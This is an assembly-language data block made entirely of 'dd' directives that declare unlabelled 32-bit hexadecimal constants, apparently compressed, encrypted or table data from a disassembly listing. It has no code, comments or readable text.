		dd 0D8EAD1C0h, 93C1106h, 0C1C5BE45h, 465E385Eh,	9A25056Ch
		dd 2480355Dh, 128BAA8Ch, 0B84A9B0Eh, 1DEE190h, 286A6A09h
		dd 65AC3916h, 0B258A29Ch, 6E93301Ch, 0D4C7E800h, 0D71FD2C3h
		dd 0A0BE60D3h, 2326F6F3h, 735AF8BAh, 918040DBh,	93065EC1h
		dd 0FA96B004h, 0FCB8E1D8h, 170853C8h, 74C02650h, 91CB046h
		dd 0A2B2C051h, 4EE52E1Bh, 7203F4E9h, 5D20BA97h,	0BCD91404h
		dd 289B5A68h, 0F90C3580h, 660197F4h, 740D80C4h,	0C450427Bh
		dd 60E929h, 3267EA99h, 45228F6Eh, 7D3BEC01h, 4FFF92Bh
		dd 0F738717Eh, 801A0D7Ah, 0B12032C3h, 0E2A790F7h, 0DEE40A49h
		dd 0BC93A95Ah, 0AD3CA816h, 8167005Ah, 3E6AE120h, 0ED166979h
		dd 98F62BF3h, 2CC289B3h, 0ACE19A40h, 0DBD7FA01h, 6731446h
		dd 41CFC060h, 70482E1Eh, 54176953h, 52804911h, 0FAB4C017h
		dd 0E6874725h, 44E49774h, 0BD57BC00h, 87C198D3h, 0E0B30784h
		dd 1282004h, 2FABD6F5h,	0ADD28830h, 0A01200A9h,	0C24CE108h
		dd 3EE5E56h, 59A35225h,	97830078h, 84631F2Ch, 0F91AC800h
		dd 2DB3B98Ah, 0C38038CDh, 8FEB8100h, 0EEB0EA90h, 0B7920B2Dh
		dd 0A02D04E8h, 7AE4C387h, 102259FFh, 0C1E0C3FBh, 6360A9DFh
		dd 4D2AB231h, 8D192628h, 68480011h, 0C5FBA137h,	7F709200h
		dd 2A8CEE35h, 0E84195EDh, 0C69B70CFh, 53A71D0Bh, 1000F964h
		dd 0D2FA0256h, 5EA862A5h, 277A6284h, 0C4DCAEDDh, 34CF72A6h
		dd 0B9C01A88h, 0EDC15856h, 0F454302Fh, 0DB24CCD2h, 7127154Bh
		dd 0C41D64h, 873982D4h,	0F6F64386h, 91733800h, 3D2AA1C2h
		dd 0C8C84BF3h, 3B095168h, 5CB4D3C9h, 1C146A34h,	0ADC0B51Fh
		dd 1633B898h, 451677DBh, 6B99FA64h, 134C4C24h, 30854A87h
		dd 62B8E4BDh, 0E66C121Eh, 6803D247h, 70E26554h,	5577BF0Fh
		dd 0B012FB83h, 0FFF883E2h, 0EE8D270Bh, 0BF4CD84Ah, 0C8DBAEE2h
		dd 0C9ED70h, 384445C7h,	0D14BA43Bh, 437B22h, 3FDA06F4h
		dd 76C54580h, 2927DD00h, 0E7AD149Fh, 818D000Ah,	3C511AECh
		dd 0DA48E4D2h, 9CA1024Ch, 0A0A459BDh, 0E9AE89E4h, 690F003Ch
		dd 47CCEE8h, 0AD008FDDh, 13AC6A0Dh, 228187Dh, 506105DAh
		dd 0F0E147h, 0E27CED00h, 9E7FBB8h, 3310ECBEh, 4D5996FEh
		dd 0CB63E80h, 6B78D360h, 0BC2F7A9h, 6E1BC6BBh, 0C2140FAh
		dd 0C0F325B4h, 5DE81651h, 779DA137h, 6E0C886Fh,	1900C5F8h
		dd 5DA5EDEAh, 33A620h, 6024B452h, 0E4A2B8Ah, 44E15F0Fh
		dd 6DFC8227h, 7918D9C4h, 3181Ch, 0A2FC3EE3h, 0C71D0D10h
		dd 138E75Dh, 0BF916179h, 10927FD7h, 0E034B623h,	136CFF9Ah
		dd 0A2594698h, 57E00218h, 403FBE3Bh, 81377E38h,	988B2BF1h
		dd 0D9F08056h, 3701DF25h, 40593892h, 0CA2AB34Ah, 911031A8h
		dd 8C50127Ah, 4910E8Eh,	0D0561C2Dh, 0C22CA9CDh,	0F494B6ABh
		dd 664676CCh, 1D7C6E00h, 0B7E07D69h, 0FCE72D04h, 7EBC72Eh
		dd 0D9F203B8h, 62466C80h, 0AA009293h, 130FC461h, 0E8179473h
		dd 0CCEC4B74h, 0E400870Ch, 94620623h, 3A7212EFh, 81017C53h
		dd 710442D8h, 0A905D0F8h, 799C0096h, 29A11D4Ch,	1821D099h
		dd 49BCA918h, 134B4FC4h, 2D5478CCh, 0F0DB318Dh,	1C85F70h
		dd 35E92EDFh, 6A226A58h, 1370646Eh, 0B926F998h,	5A778268h
		dd 0D01C57B6h, 90803174h, 50B997D1h, 0EE051092h, 0DD505F06h
		dd 0A26033C8h, 47F6301Eh, 7DE6B601h, 0E82383FCh, 409FD87Ch
		dd 0CEA0AC0Fh, 27005B64h, 440ECA09h, 955783EDh,	1B09B4C6h
		dd 719B2BD7h, 90F36BCCh, 90FF5751h, 7BFF5045h, 0D6692FD2h
		dd 1D00E0C4h, 10B49936h, 0DA20BE3h, 203706F3h, 7C342E88h
		dd 1D88348Eh, 763D63CEh, 0DE91B97Fh, 282EDE4h, 520D3230h
		dd 3CFA1380h, 0BB09F492h, 547BABBEh, 0F454E9ACh, 0C0955BDCh
		dd 40B70EE4h, 94F0CE95h, 18465E54h, 197A4D0Bh, 52DD8481h
		dd 0E0247097h, 37B72C90h, 18D8E80h, 859B945h, 0D8845288h
		dd 9CBDB0DBh, 0A0E4F6D2h, 0E5802032h, 0C040C032h, 0A9CF2534h
		dd 1B822079h, 7E9A5F9Fh, 509388B0h, 548CC2A5h, 19467658h
		dd 470C5C30h, 754AC4D1h, 0A8C8288Bh, 871E83C0h,	0B4A1278Bh
		dd 0EF028037h, 0F61E87DAh, 9AB33C10h, 6E80F661h, 5600D11Ah
		dd 0EBCA1028h, 2E16FE5Ch, 2D187648h, 2170947Bh,	0CC074B43h
		dd 2C5F6BB4h, 0AD88B48Eh, 2B12D2C0h, 70861E88h,	30D197E0h
		dd 2A456CE8h, 1C022971h, 0F473FE62h, 0D1BCC260h, 8C9F00BCh
		dd 0F2BA2244h, 0EFEE0E3h, 0E5785C4Ch, 7906AEAh,	0C2D935E3h
		dd 68AA2280h, 5A742905h, 394300E0h, 0C81EED57h,	11C90700h
		dd 303D95A9h, 2DA5020Ah, 1F1CBDBEh, 6F4BCC40h, 0B3408282h
		dd 3E4021Eh, 429164A0h,	815B7A25h, 27B4A420h, 2EB101FFh
		dd 4C1DCCF0h, 4CD22B61h, 145A59h, 6F483B28h, 94F6097Fh
		dd 0F04BDD0Eh, 0E7432141h, 202B3A68h, 4F9C1B94h, 696EA000h
		dd 154CD66Bh, 0DA4B24D7h, 0E3A70454h, 5F50CE91h, 1582A09Ah
		dd 0FC60A9DBh, 0C7883E62h, 456B4F0Fh, 0BC246748h, 7EA689B0h
		dd 68467C10h, 8858A501h, 7DFD11D3h, 0A8AC4F70h,	805A6C5Ch
		dd 0FA461E14h, 0DB2FC72Dh, 0EB74704Ch, 43CB0E12h, 9A2B3039h
		dd 0C9E58120h, 0D02B4EFCh, 0F69F387Ch, 0E0DDB54Bh, 15C6E2Ah
		dd 0B2D7ACCBh, 6B2F36F2h, 83AF23FCh, 0AE9CBE3Eh, 44224990h
		dd 9764F80Fh, 0F2B0380Eh, 478E0970h, 0C879CA76h, 0D0A3F445h
		dd 90301DE2h, 98D7007Dh, 0B361A180h, 225E87D8h,	0FA37A082h
		dd 214220CCh, 0BBC1697h, 40230E0Dh, 7EEF4090h, 2DC2AB80h
		dd 749D6586h, 66806B11h, 0D929CF84h, 0DAA97C14h, 13B320E0h
		dd 0ADFA52FCh, 0E6BACB4h, 8DF01F5Ah, 91FC5320h,	322587D7h
		dd 200C7AABh, 3020A63h,	0CB93447Dh, 2DA0D61Fh, 0D9C014CDh
		dd 0F8165034h, 622702D0h, 0FE49C2A1h, 802037F7h, 0D44AC847h
		dd 74046DF6h, 0A3329689h, 0D7A420EBh, 0D000360h, 62CE45E5h
		dd 0B50589E6h, 1DA1C4E0h, 545D8A2Ch, 63398502h,	9893559Ah
		dd 0DFED9EB0h, 43BC5B00h, 0F7DB06D5h, 141700C8h, 0DC291CFCh
		dd 7F10D92Ch, 0B004C13Ah, 0CE079415h, 0C06C882Ch, 11E66A93h
		dd 0E83FB500h, 73F2224Bh, 0D4416ECh, 8ABC04E4h,	0C3D200A9h
		dd 9A6AA39Eh, 0E3D11638h, 511C00F3h, 0D9E90204h, 0E78AF225h
		dd 604B64D0h, 4BEF8453h, 1A0C0B14h, 47AF50FEh, 674B4498h
		dd 6A108F40h, 0FA40C2B3h, 83D7232Eh, 0BA9FD858h, 0E7D05EBCh
		dd 0A942C2DAh, 795AAC5Eh, 183E5908h, 8B2F0481h,	0BC200B06h
		dd 102ED2A8h, 76001723h, 631F7A9Fh, 1827B7E3h, 7210A8CAh
		dd 9B316634h, 9E18C0D4h, 40F31EFAh, 300F904h, 21F4244Dh
		dd 3F661DD7h, 0B2CFAF53h, 0F8630050h, 0CB73FD8Ah, 0E2ED003Fh
		dd 0BC98D1FCh, 0C8B57BECh, 3853FDE4h, 0CF012B3Ah, 0A7DCF62Eh
		dd 0FE82EC7Fh, 8EEC301h, 54E4D25Ah, 8E3454E6h, 5D60E6A1h
		dd 0C0D9C380h, 0CBECAB3Ah, 1DE0F8E6h, 0C0BDAEFBh, 809D8A48h
		dd 1CB816FCh, 0C0F2E8C4h, 81C025BFh, 1A04710h, 8E2EAFABh
		dd 95A0558h, 6EFA0842h
		dd 0FAEB0198h, 0D01D4781h, 9AA7C7C8h, 8BA4CD4h,	62864F09h
		dd 0B17814DBh, 0ABEB00B3h, 0E0D9FC82h, 220C03E3h, 29D7A1D1h
		dd 5D8C1253h, 0FFD464F3h, 3500206Ah, 0B14882EEh, 989726C4h
		dd 97DED9FCh, 60BF4B0h,	805BFB24h, 6537CF85h, 1F047AEFh
		dd 15808F3Eh, 6AFC7B66h, 10C01EFAh, 0B5294B7Dh,	78C35883h
		dd 6EB6006h, 178596Fh, 0C821A8E6h, 6B5D3C80h, 881F34D8h
		dd 3C9A01B7h, 0F994E20h, 9FD90457h, 0E94CF156h,	2F87F103h
		dd 0A216F023h, 23270009h, 5E451580h, 415A3020h,	9C4AF0A9h
		dd 0DCFC112Eh, 0ACA6C543h, 27287C4Ah, 8D0138D0h, 0D1D2FA32h
		dd 0C82BE02Fh, 79405BD8h, 76480028h, 87FDCDD3h,	9C2E4FE0h
		dd 2420215Ch, 0BB20B8B0h, 0D3D8051Ch, 13134F82h, 0EB1C9078h
		dd 9566FEh, 8DB44598h, 365634F6h, 4AB0B810h, 0BD77C4E2h
		dd 0FA000864h, 4E1227C2h, 1FEA444h, 6414C634h, 80A05AA3h
		dd 68CD1CE1h, 35D7788h,	0A2264992h, 83D89EA9h, 0EC94F411h
		dd 7CE14D80h, 507AD85Fh, 20064C5Bh, 1D0C46DFh, 0F86D9FD7h
		dd 0B2EE1903h, 0E073A140h, 264B1880h, 507CF8B3h, 13C018AFh
		dd 41932EFCh, 3697DAF8h, 2F9C00C2h, 5490A8A3h, 0AFB4948Dh
		dd 0D00168D1h, 4E11BC75h, 15172E8h, 0E161928Ch,	70BF40E3h
		dd 0AB615680h, 46FE02B1h, 0DC20E0F1h, 0AE77163Ah, 0D85C2099h
		dd 0AA4BF67Fh, 2ED84DCh, 341B5C82h, 8B7FA87Bh, 0DC685478h
		dd 22972C00h, 0C2EE8BCBh, 4F90A434h, 0E0B4E6BEh, 0F4A1CF81h
		dd 4108908Bh, 3DD1E14Ch, 48AB250Ch, 4B9D350h, 8C22F1CCh
		dd 2403FE07h, 0F0874516h, 5A253486h, 408F2D2h, 5B770E8Dh
		dd 1C494E0Bh, 0E8DA6FF9h, 8716EBD4h, 551305B2h,	6420AA64h
		dd 3DFD4AD5h, 6B01792Bh, 0DB3B10D9h, 0A86D2FACh, 23542B2Eh
		dd 0EB8C013Eh, 1193F410h, 21ADDB9Fh, 6C04CCDh, 69BBB6h
		dd 0F2D444F0h, 59CA1C7Ch, 0B0CDA14Bh, 8948DB7Fh, 0BB8402B2h
		dd 0AFD80418h, 0C0A2B422h, 81787378h, 0A42B2F61h, 0C780ED05h
		dd 0BC58BC70h, 0E008C48h, 0C5E339E2h, 13EA35AAh, 0E07BA692h
		dd 594C5258h, 0BEFD8190h, 5BD42446h, 9C5A307Ch,	0E2A8419h
		dd 0ADDE911Ch, 5EF17089h, 57FF0864h, 0D449D367h, 6501F4C0h
		dd 385CAD66h, 30D44B10h, 544C22A1h, 256FDA48h, 831022B5h
		dd 57AC894Fh, 0DF1F5C37h, 0E10024A4h, 6837D05Eh, 0E0A34C65h
		dd 0F71FBF17h, 7C095B0Ch, 73A8E206h, 0A71570F8h, 35777000h
		dd 0B5A0E391h, 0D0E595AEh, 7507E08h, 624C7913h,	45164366h
		dd 9CC86B15h, 21F802C1h, 224BDC6Bh, 6D446867h, 560CB260h
		dd 39770409h, 10950040h, 4BCF6A4Eh, 2E40C471h, 6B232Ch
		dd 2BE2CDD6h, 0EE00F329h, 0FA75A3D3h, 47BC0D8h,	0A686555Bh
		dd 0B2D0F393h, 9FE93066h, 0BD14CE95h, 0F0094B5h, 97673CE1h
		dd 37A20156h, 3F0E8CF4h, 98972B41h, 23097864h, 0A900747Bh
		dd 566A0F16h, 5862BDA1h, 69116417h, 0E0ADBF87h,	7CF1C6AAh
		dd 6E3B0341h, 64412EA8h, 2C9DD900h, 0C9B85FCh, 7DAA5793h
		dd 9F006271h, 415C38D5h, 17FC32h, 0B04AF7A0h, 0CCE62013h
		dd 0E45BB16h, 69B82CADh, 33C2390Eh, 0FDAC21Eh, 9089F54Ch
		dd 479F8872h, 60AC64B8h, 5CC49ADh, 0C6BD9EEEh, 8BBCE0D3h
		dd 1B2C1097h, 824B30C7h, 9637AB18h, 6EF1F0B1h, 8B008C18h
		dd 43C70812h, 247A34ACh, 3B5CEA71h, 350908C8h, 0B755A311h
		dd 8DCE8134h, 75836EEh,	711CD491h, 0BA28D86Bh, 136BF700h
		dd 0D058E489h, 4833008Dh, 0DB16EBB0h, 0BF5687h,	5459AC0Ch
		dd 0C4FC8A1Ah, 27274DCh, 8F230E32h, 0FC00C24Ah,	4F61DD46h
		dd 0A248E362h, 3E0334Ah, 47015B29h, 16FC220Ah, 0C4720F93h
		dd 8C1B2C00h, 0EF2EFA23h, 58F20B5Ah, 0C89CCAD3h, 0A6A1C067h
		dd 0A507D2ACh, 1587B0F2h, 49072FF2h, 8E6BDAD8h,	0C16E88ECh
		dd 0E04C57CBh, 0BF006A04h, 1CE56841h, 90664FC7h, 744EB738h
		dd 40ECCD9Fh, 2AA02BDAh, 9B3144B0h, 7548B11Bh, 23FC2F2Bh
		dd 145105A8h, 0A08B0291h, 0F8AB21D7h, 0F23E0CC4h, 54D60477h
		dd 9F40567Ch, 9876EFAh,	0BDF83E00h, 5148BC34h, 0B042004Bh
		dd 1A7903F1h, 0B5BFFA2Ah, 9AC3802Ch, 7D13D780h,	0FED12A25h
		dd 0B791403Ch, 0AC07981Bh, 0E927C1B8h, 0F5CD510h, 30DF0066h
		dd 1D263128h, 9B404BA7h, 50617C1h, 0A0B8B7B4h, 50B517C3h
		dd 40B3B89Eh, 6547BE4h,	743AC194h, 0C2800B1h, 0FB524BB0h
		dd 0D9D9626Bh, 6C6A02D8h, 5856F492h, 74072440h,	0A7D40059h
		dd 0DF415E08h, 3116F143h, 7CE230E7h, 50C5B301h,	307E5FEEh
		dd 0ED1A4B08h, 7A905A04h, 87D62508h, 68F9F451h,	86F01318h
		dd 3C7D1200h, 0A1361F1Bh, 110100E4h, 0E3A8FA82h, 0B5EEEBCh
		dd 8CEDF0C0h, 641A9D4Fh, 1B447047h, 76C01D60h, 37BB0602h
		dd 70634EFAh, 0C8F20BD8h, 68916AF6h, 0CC3B3F53h, 7D00A723h
		dd 0B080EE61h, 54949721h, 28801374h, 3C7C3AF2h,	41B65A98h
		dd 921D8D14h, 259651D7h, 90EEDCBCh, 8C1FB8C4h, 0F1D23Bh
		dd 0DD5C184h, 0CED12639h, 43295F8h, 0BA1A5F34h,	884D8438h
		dd 9254F211h, 0B4A58B9Ch, 1F75F98Bh, 811A113Ch,	620B1DF7h
		dd 0FB1011D8h, 0C56C8D2Bh, 0B5DE24Fh, 763CD450h, 25026646h
		dd 1FC71D22h, 8B0B7858h, 5E4C630Eh, 0ECF45A50h,	0FCC001D4h
		dd 2529A38h, 0C0DCF272h, 30C502DCh, 0EB1EFA3Ah,	11BD9448h
		dd 9185197h, 34588E49h,	0E898C57Dh, 6695A474h, 8B6B04D0h
		dd 0BD4946FEh, 8FEBCFD8h, 9778955Ah, 0F31C0820h, 49301E5Bh
		dd 625CC564h, 0FA4681BEh, 0F8566F46h, 3A0958F8h, 0A8D11054h
		dd 9960CCD3h, 0B165277h, 7880E2FEh, 0AAA7BEBBh,	60AC5CCCh
		dd 0E6B76351h, 0C433934Eh, 40307DA4h, 2C98616Ah, 846B7345h
		dd 234C2EA8h, 16AF00AEh, 0BBB82276h, 10E86C4Ah,	6AE93780h
		dd 0DE026409h, 0E3FA689Ch, 0A4CD5733h, 0D2BBE0CFh, 976AAA62h
		dd 0D1D39498h, 0CE1B110Bh, 0F4E0987Ah, 8CB200D2h, 80FA0B66h
		dd 235B9951h, 8A4A60B7h, 0C047C800h, 1370F8C0h,	689B5B05h
		dd 30FFA322h, 74F94A8h,	34C07BFh, 3F1E09F0h, 0F3B95F2Bh
		dd 8DF82648h, 839F9700h, 757AB9Eh, 99380EBCh, 0A239D005h
		dd 8A9DF3A9h, 0C538BC4Ch, 5A7EE6E8h, 82E0E222h,	105226EEh
		dd 0CFBF67D3h, 20E14770h, 0E758EFE0h, 9F1B3A04h, 0CBC7DF7h
		dd 587BD4E2h, 3CBA36D8h, 80935BFEh, 0D940B421h,	1A04E00Fh
		dd 0A1A322BEh, 0C0E05722h, 18B85403h, 18BC8B58h, 0C131557Ch
		dd 9845007Eh, 2F170FAAh, 39055AC0h, 0C896328Bh,	0AB84F8F9h
		dd 0F40CC1ECh, 0B0041499h, 0FCED686Fh, 1D8CAFBCh, 0C0E4D977h
		dd 3C608C0h, 0E1BD2019h, 0A112C860h, 0F1A6D020h, 82BA0028h
		dd 0DF6B7293h, 3E05FCEFh, 7CA1BB76h, 0C000D8BDh, 81285F10h
		dd 605C7EF1h, 0E5007E75h, 3ADDF5AEh, 0BDACA606h, 470E8860h
		dd 0BF8458BEh, 590F9A83h, 5CE174E2h, 0D4258045h, 7500D418h
		dd 0CC4EAED6h, 2F50E1D8h, 480BA727h, 3EE4C8C5h,	6B708961h
		dd 14634420h, 3D5E009Dh, 3E134CA9h, 5100CA6Ch, 7AC0B98Fh
		dd 9645495h, 4726FA63h,	0C5258056h, 41501168h, 8BD7E688h
		dd 0E9285EB8h, 4850C0DBh, 5AC817D5h, 0A2CCA354h, 10D93065h
		dd 0B6DD4509h, 69847969h, 16791071h, 0AB301A18h, 73306961h
		dd 0C588000Eh, 8033E959h, 0E800F422h, 5C70EBE6h, 0BE972F72h
		dd 437D82A8h, 146D6591h, 0BF0FAE0h, 8FF304B1h, 0A4D8A144h
		dd 100528FCh, 0F7112996h
		dd 0C85B9CB9h, 9300E458h, 81C51C70h, 1FD3FE82h,	400E98A1h
		dd 0EE52FCB8h, 892EF180h, 0E340C47Bh, 4EDEA4E9h, 0F95CEC01h
		dd 0B6785AF0h, 3BB10008h, 5291EA5Fh, 76CE4300h,	57D1E66Dh
		dd 0B3080099h, 93A8B539h, 1A001789h, 0BAC0E991h, 0DFCC50h
		dd 9B22CDAh, 24953381h,	0F999B51Dh, 0EFCEF89Fh,	49FAC4B3h
		dd 95A080EEh, 0CF004458h, 7CE96E75h, 3F26F294h,	0FC1C15h
		dd 0EB1BE29Eh, 14B696CEh, 29EA6605h, 0EA80D461h, 0FBD8B2h
		dd 0C72A92B7h, 98F3F116h, 65127800h, 0AF5E1CE5h, 0D1CF0133h
		dd 418B90BEh, 0E85FC00Eh, 45B6D603h, 0B253AC2Bh, 36F782B8h
		dd 0D8687516h, 0FA14B238h, 0B3CC5Ch, 0C3E86412h, 13CE48B7h
		dd 0AB2EDCDDh, 0FB818000h, 84B316h, 519FC976h, 3686D2B0h
		dd 2AB83B00h, 8C08FB6Fh, 170D0F3Dh, 0B5C2EE6Ch,	7F228B3Eh
		dd 7384A04Ah, 3EDA72B0h, 2000A5EDh, 474DDE13h, 35BA441h
		dd 78F7EC40h, 3F28EE7Bh, 0D40013D0h, 20CDD81Ch,	17008A68h
		dd 52B2F54Ah, 13B9F7Ah,	0BDDFDAF0h, 8050A81Dh, 9E628D58h
		dd 6B4680h, 0B7B20466h,	3FD5119h, 259FBF01h, 0BEA0084Ch
		dd 0ED30E2C5h, 93D706BDh, 0A1064BCBh, 4D396100h, 8AD63B74h
		dd 252F13D3h, 301FBB95h, 0A4ADB2C0h, 0D8DEB8h, 0A22AE531h
		dd 60E4678h, 0F8003972h, 8ABAD31Dh, 0A8C757B5h,	1A5884h
		dd 9E97B16Dh, 0E9C4F434h, 21E7B300h, 0A93626C7h, 81D2000Fh
		dd 0BC189F14h, 62014D04h, 822CE4F0h, 0B1C0D505h, 0ED870050h
		dd 2AF19DF2h, 0A901887Dh, 20B81A41h, 8824FA09h,	6DDF00B7h
		dd 15980F8Fh, 872789E7h, 40847668h, 0EEC3C9D6h,	0C182E403h
		dd 71FC41h, 0C01A43F8h,	8B76E7C5h, 0AFB15100h, 0DD80AEDCh
		dd 5A84005Fh, 0A389C9ADh, 0FD03578Ah, 74459A14h, 0FEE1E0F1h
		dd 0F74C008Eh, 5AA9CDABh, 5B0043C0h, 6DF6FB75h,	410D22Eh
		dd 3DA59C82h, 0CC0EEB8h, 147787B6h, 98BD429Dh, 79A811h
		dd 80D3106Ch, 1EBE7D13h, 804D07EAh, 0AD3AF6EBh,	64007977h
		dd 7115A027h, 1F080E91h, 5C99031h, 0D4C480h, 1D32F892h
		dd 0C300A7E9h, 6447722Bh, 3DDFA52Fh, 489E053Ch,	5DD6C058h
		dd 0F67B1D69h, 0A121A005h, 8803C1DBh, 934FCF1Bh, 0DD111389h
		dd 3807BEBCh, 0B650C42Fh, 3A940BCDh, 323EF713h,	0F12600F6h
		dd 0FBD23958h, 481ED475h, 5E27298Eh, 16788098h,	21139D5Ah
		dd 98E39400h, 8B910DF6h, 0B5F90050h, 0D04D56A1h, 0F2032D9Eh
		dd 0A7A9017Fh, 6BDFF81Ah, 33D1075Fh, 0A0B64487h, 64E390FAh
		dd 0B5C49D00h, 4171B885h, 4FB90FC0h, 0DB85953Fh, 0DC04F06Dh
		dd 1DAE2601h, 0AFB60FBDh, 97E0E43Bh, 9AFE3D00h,	22DD76B4h
		dd 0A116004Eh, 0E67894A6h, 0F0001399h, 2BC58E72h, 306ADFC8h
		dd 2DFED312h, 0F101645Dh, 5343B741h, 87D4621Fh,	692E0FAEh
		dd 55AEA1A7h, 8C799F00h, 28274A75h, 40BC74FDh, 0F94B4C3Ah
		dd 2BA3B201h, 0FE2A6B2Ch, 0B7F5F4h, 66AAE559h, 0FB43EA02h
		dd 86C1DC00h, 5076F8B3h, 3EEE3077h, 7879F6C1h, 8963D513h
		dd 0DD5800BEh, 168A5783h, 4A454D09h, 1980602Dh,	38682EC2h
		dd 0F42A10h, 2691C624h,	67789FDFh, 43C32800h, 8F9509E5h
		dd 2B00005h, 0A686D022h, 0F7F5ABCBh, 0ECDCDEA9h, 62397FFCh
		dd 25CA07EFh, 72224B37h, 0E1DD4029h, 0E7410075h, 6CE9B0Bh
		dd 2600BD96h, 20B5E999h, 3FC6EEh, 0EAB22D33h, 0BB924EAAh
		dd 0FCBA2E00h, 0C956C497h, 0E8403964h, 7B818385h, 3EC2C078h
		dd 0D500F5D6h, 0DCE19B57h, 269EDD87h, 6E6601h, 1B080A88h
		dd 0F8002BFFh, 678E26B2h, 829AACh, 0F619784Ch, 88A12E6Ch
		dd 0CBA71E07h, 0C4A05152h, 65C5EDh, 0EC75FAE3h,	28D54B0h
		dd 8BBF5509h, 9090DD2Ch, 3E001DD4h, 127F0BD2h, 2AAFE4h
		dd 0ADA3B6D8h, 0C8DC1348h, 0F7993F00h, 15CD1D79h, 0B4B000C1h
		dd 0C0F44A8Eh, 190E568h, 0E842000h, 6C0D2FB2h, 25B000A4h
		dd 0EFF34D53h, 0C6022766h, 0F540DB90h, 0BD4C4034h, 0DE260335h
		dd 0B3531D19h, 39A6BBB8h, 9A7A338h, 7D0A5Eh, 0B61A9474h
		dd 0C6F03CAAh, 0D1D38F00h, 9822FC28h, 0FF03FD98h, 6EF6ED39h
		dd 5227A0AEh, 0A4650EF2h, 0FDC054A0h, 6AF76082h, 6890215Bh
		dd 1F99E393h, 82900EF3h, 0C2E12083h, 0FB206577h, 1024FC1h
		dd 0E1E0E640h, 28D99DFFh, 28F6193Ch, 0A7E04821h, 0BB81C52h
		dd 0A8D30021h, 46B4E1CCh, 54EA30Fh, 0D2D787E2h,	5A9D5690h
		dd 75F20325h, 0CFBD5D73h, 9FE1800h, 6A720EB1h, 5FC31F0Ah
		dd 0B8C8009Ah, 0F2EA89EFh, 1B2A6109h, 73F40F77h, 3AD09900h
		dd 0FA0686FAh, 0C3E84E59h, 85EAB718h, 5D346077h, 0E3C72AD9h
		dd 0D5E05Ch, 0B86D8D5Bh, 13528B02h, 844934Ah, 0D0EE3283h
		dd 0E6581914h, 381DAD30h, 0A4731BA2h, 1C8410h, 7B87D89h
		dd 6985A5ABh, 4C79C175h, 9A638C07h, 7420C750h, 53B9ECh
		dd 0BBD7DCD1h, 0A4240793h, 4300F877h, 0F2F7B5B0h, 709B0668h
		dd 30E700F6h, 95A85DD9h, 4FF6870Eh, 0CF92A907h,	0BA207FE8h
		dd 2B55CAh, 8EE40DF1h, 8AC7D5ACh, 1F6ADC39h, 7E80F6ADh
		dd 0B7BFE87h, 0E9D0025h, 4FD1C576h, 0FBF0DDAEh,	0BE916E1Eh
		dd 0D759B182h, 2F10D6D6h, 6E91C81Dh, 0F2CA780h,	0C509A419h
		dd 827BB815h, 0D907D5DBh, 0D35801D0h, 78E3E16Ah, 0E43A4Ch
		dd 8D666D81h, 30C38025h, 2319054h, 904ECABh, 3E9A15Ah
		dd 8800D8F2h, 0A50F2D1Ch, 0B0E047A3h, 97C3ED25h, 801D9110h
		dd 407BF0A2h, 8E8617BEh, 80581027h, 18C69E8h, 6F2C0726h
		dd 7E1A8074h, 9752C042h, 1270DC46h, 0E06FAFDBh,	2AF48401h
		dd 308A9283h, 0B94E40DFh, 990F90E2h, 4B00FA75h,	0FF92CF1Fh
		dd 374DA52Dh, 76040060h, 66DD4922h, 472F7A17h, 0DCD850C1h
		dd 0FDA0847Bh, 9EEB8B0h, 3D408DFh, 0ED09F8F4h, 0A7830F79h
		dd 0F42AD1F3h, 2384E127h, 0EA44126Eh, 0CAB02820h, 0A8F30771h
		dd 90C15D4Eh, 48B7932Dh, 6D0469BFh, 8F43DC47h, 57C98249h
		dd 8D1D50C6h, 9720F30Eh, 64A1105Bh, 0E6181B51h,	0F543204h
		dd 0BF9851h, 0BBAFEF78h, 9368C3D6h, 8F61CC58h, 68D8E006h
		dd 5BD77D1Fh, 0A0ECB7E3h, 1CB6BD3h, 3A992D86h, 2A2A8028h
		dd 3BF8C8h, 9E40EA88h, 0C2D1BA0h, 18D59800h, 0ED8B4F1h
		dd 285C497Ch, 0C64CE50Fh, 0C9E7C01Ch, 0B67FDAB1h, 89CC62B7h
		dd 409C7EA4h, 4E0D4CA2h, 822E2300h, 0DCD56A3Bh,	41892D21h
		dd 0FF00C4C4h, 0BFAEA561h, 4266E31h, 91B0E66Fh,	0A46EBB83h
		dd 0F0BFA700h, 326AC82Dh, 824E147Eh, 208874E2h,	0E430C5A5h
		dd 0D7B460AFh, 0F6C60E96h, 3AC02552h, 0CE9FDB8Eh, 0FE80F29Dh
		dd 0FEEA0BF3h, 0A8CB44D6h, 0B809BFCDh, 2FAC5123h, 8F3A892h
		dd 69D8D871h, 4E2F98D1h, 5E98E723h, 7682E4DAh, 0CC637FD9h
		dd 0B05AC809h, 98167756h, 7D62E20h, 0EE8D0B45h,	80DC1932h
		dd 0C35D55Ah, 0B9DBBA00h, 3D3EBBA3h, 0F72D1D33h, 0EE2D74D2h
		dd 9DFC0326h, 2199EA6h,	0AE4E0C52h, 0AC749172h,	0E4C46527h
		dd 593D6066h, 0F76434F8h, 3405FA91h, 98ADC3ADh,	0CE444093h
		dd 0DF17503Fh, 0C0B81554h, 0CB16FA09h, 96F0FC1Bh, 418E8F6h
		dd 0CD9CA1D1h, 0C22088ABh, 1BF8BC0Eh, 0A9E500D9h, 6B6ED83h
		dd 0AA9B820Eh, 611E8162h, 4A405068h, 27499D33h,	0A9077h
		dd 0F7B4E884h, 230AEC0Ch, 2098B1B5h, 8EF60310h,	0CCAD3D4Bh
		dd 59C08848h, 0BDC85E57h, 0EDA8C907h, 3E409EB8h, 0EE47AD8h
		dd 0E378498Ch, 0A8D30E85h
		dd 98B45E58h, 0CF1B8883h, 0C07CB328h, 0D99860BDh, 819E789Fh
		dd 38423E0Bh, 928254F4h, 6BD040C4h, 0A0090728h,	844D23B4h
		dd 1BB0C393h, 0EA12BCh,	7289D7BCh, 0BA03E481h, 5C9C2E20h
		dd 7E4EFADBh, 62FC008Ch, 0B9CE873Bh, 40E210D3h,	82D2E31Eh
		dd 2F6C3F5Ch, 0A8F00F55h, 0FA22017Eh, 3BE69F1Eh, 0A406CF4h
		dd 78C2D0F3h, 8BC06D0h,	0E0C21096h, 1804BC7h, 0F1A121FDh
		dd 0C85AF3E8h, 0A0DC4420h, 6990150h, 0FC4AEC97h, 0F554F839h
		dd 593DD7ECh, 0A199E15Ah, 216B08DBh, 579AECh, 0A007D71Dh
		dd 5834D9Ch, 966CD340h,	88A0ACD9h, 0B07A9E1Dh, 620CEE41h
		dd 34F83Bh, 186D8760h, 0B0E11C79h, 0A3FE3FDBh, 67D11682h
